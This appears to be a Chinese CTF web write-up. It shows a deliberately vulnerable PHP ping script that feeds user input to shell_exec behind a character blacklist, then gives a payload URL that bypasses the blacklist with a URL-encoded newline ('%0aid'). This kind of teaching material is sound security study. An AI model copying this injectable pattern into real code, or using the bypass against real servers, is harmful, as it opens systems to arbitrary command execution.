[CTF_web]exec/exec1.php


CTF_web

CTF_web


源码如下 :

<?php
    // Get input
    $target = $_REQUEST[ 'ip' ];
        // var_dump($target);
    $target=trim($target);
    // var_dump($target);
    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';' => '',
        '|' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );
    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    // var_dump($target);
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows  
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 1 ' . $target );
    }
    // Feedback for the end user
    echo  "<pre>{$cmd}</pre>";
?>

php exec 函数可以同时执行多个命令 , 只需要用 \n 分隔即可

笔者只测试了 exec 函数
像其他的 system 等函数并没有进行测试

根据不同的过滤情况绕过黑名单进行命令注入总结过一篇文章(持续更新)

bash命令注入以及黑名单绕过

http://localhost/CTF_web/exec/exec1.php?ip=8.8.8.8%0aid
image.png
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 135,798评论 19 139
  • 一套实用的渗透测试岗位面试题,你会吗? 1.拿到一个待检测的站,你觉得应该先做什么? 收集信息 whois、网站源...
    g0阅读 10,414评论 0 9
  • Spring Boot 参考指南 介绍 转载自:https://www.gitbook.com/book/qbgb...
    毛宇鹏阅读 47,117评论 6 342
  • 架构师必须知道的26项PHP安全实践 PHP是一种开源服务器端脚本语言,应用很广泛。Apache web服务器提供...
    meng_philip123阅读 11,284评论 1 161
  • PHP:include()``include_once()``require()``require_once() ...
    寻梦xunm阅读 4,296评论 1 4